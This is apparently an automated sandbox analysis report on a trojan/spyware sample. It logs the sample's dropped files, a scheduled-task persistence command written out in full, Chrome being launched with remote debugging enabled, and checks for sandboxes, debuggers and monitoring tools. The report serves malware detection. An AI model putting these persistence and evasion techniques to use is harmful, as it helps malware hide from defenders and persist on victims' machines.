Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6C3000 9_2_6C6C3000
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6D70C0 9_2_6C6D70C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C785180 9_2_6C785180
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C793B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C78ADB0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C795980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C793560 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C793820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C795A70 appears 75 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C7936E0 appears 45 times
One or more processes crash
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6108 -s 1168
Uses 32bit PE files
Source: 6dPpCeWDig.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: 6dPpCeWDig.exe Static PE information: Section: cfbzptpi ZLIB complexity 0.9945734260175241
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@21/7@16/5
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File created: C:\Users\user\AppData\Local\uABDlLMkuJ Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6108
Source: C:\Users\user\AppData\Local\Temp\service123.exe Mutant created: \Sessions\1\BaseNamedObjects\woUNydxtUFQatgBImlJF
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: chrome.exe, 00000003.00000002.1887641998.00003D840071C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: 6dPpCeWDig.exe Virustotal: Detection: 70%
Source: 6dPpCeWDig.exe ReversingLabs: Detection: 65%
Source: unknown Process created: C:\Users\user\Desktop\6dPpCeWDig.exe "C:\Users\user\Desktop\6dPpCeWDig.exe"
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2296,i,1584049202898169738,758844349250763749,262144 /prefetch:8
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6108 -s 1168
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2296,i,1584049202898169738,758844349250763749,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: 6dPpCeWDig.exe Static file information: File size 4461568 > 1048576
Source: 6dPpCeWDig.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x283400
Source: 6dPpCeWDig.exe Static PE information: Raw size of cfbzptpi is bigger than: 0x100000 < 0x1ba400
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00AE8230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 9_2_00AE8230
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: 6dPpCeWDig.exe Static PE information: real checksum: 0x448d36 should be: 0x443ce3
PE file contains sections with non-standard names
Source: 6dPpCeWDig.exe Static PE information: section name:
Source: 6dPpCeWDig.exe Static PE information: section name: .idata
Source: 6dPpCeWDig.exe Static PE information: section name:
Source: 6dPpCeWDig.exe Static PE information: section name: cfbzptpi
Source: 6dPpCeWDig.exe Static PE information: section name: sernxnvh
Source: 6dPpCeWDig.exe Static PE information: section name: .taggant
Source: service123.exe.0.dr Static PE information: section name: .eh_fram
Source: ELLRGATenShKoyKeRtXA.dll.0.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00AEA499 push es; iretd 9_2_00AEA694
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C770C30 push eax; mov dword ptr [esp], edi 9_2_6C770DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C73ED10 push eax; mov dword ptr [esp], ebx 9_2_6C73EE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C708E7A push edx; mov dword ptr [esp], ebx 9_2_6C708E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C714E31 push eax; mov dword ptr [esp], ebx 9_2_6C714E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C70A947 push eax; mov dword ptr [esp], ebx 9_2_6C70A95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C73EAB0 push eax; mov dword ptr [esp], ebx 9_2_6C73EBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C728AA0 push eax; mov dword ptr [esp], ebx 9_2_6C72909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C710AA2 push eax; mov dword ptr [esp], ebx 9_2_6C710AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C712AAC push edx; mov dword ptr [esp], ebx 9_2_6C712AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C742BF0 push eax; mov dword ptr [esp], ebx 9_2_6C742F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C742BF0 push edx; mov dword ptr [esp], ebx 9_2_6C742F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C728460 push eax; mov dword ptr [esp], ebx 9_2_6C728A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C708435 push edx; mov dword ptr [esp], ebx 9_2_6C708449
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7004E0 push eax; mov dword ptr [esp], ebx 9_2_6C7006DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C70048B push eax; mov dword ptr [esp], ebx 9_2_6C7004A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6E1CFA push eax; mov dword ptr [esp], ebx 9_2_6C796622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6E1CFA push eax; mov dword ptr [esp], ebx 9_2_6C796622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C70A5A7 push eax; mov dword ptr [esp], ebx 9_2_6C70A5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C742620 push eax; mov dword ptr [esp], ebx 9_2_6C742954
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C742620 push edx; mov dword ptr [esp], ebx 9_2_6C742973
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7066F3 push edx; mov dword ptr [esp], ebx 9_2_6C706707
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7006FD push eax; mov dword ptr [esp], ebx 9_2_6C7006DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7506B0 push eax; mov dword ptr [esp], ebx 9_2_6C750A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7186A1 push 890005EAh; ret 9_2_6C7186A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7006A2 push eax; mov dword ptr [esp], ebx 9_2_6C7006DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7006A6 push eax; mov dword ptr [esp], ebx 9_2_6C7006DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C70A777 push eax; mov dword ptr [esp], ebx 9_2_6C70A78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C70070E push eax; mov dword ptr [esp], ebx 9_2_6C7006DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C710042 push eax; mov dword ptr [esp], ebx 9_2_6C710056
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6DE0D0 push eax; mov dword ptr [esp], ebx 9_2_6C796AF6
Source: 6dPpCeWDig.exe Static PE information: section name: cfbzptpi entropy: 7.955867081624259
Drops PE files
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File created: C:\Users\user\AppData\Local\Temp\ELLRGATenShKoyKeRtXA.dll Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window searched: window name: Regmonclass Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Found stalling execution ending in API Sleep call
Source: C:\Users\user\AppData\Local\Temp\service123.exe Stalling execution: Execution stalls by calling Sleep
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: PROCMON.EXE
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: X64DBG.EXE
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WINDBG.EXE
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 147301A second address: 1473025 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F38E4FECF36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1459AF7 second address: 1459B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c jbe 00007F38E4FF50B6h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1459B0E second address: 1459B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 147276E second address: 1472772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
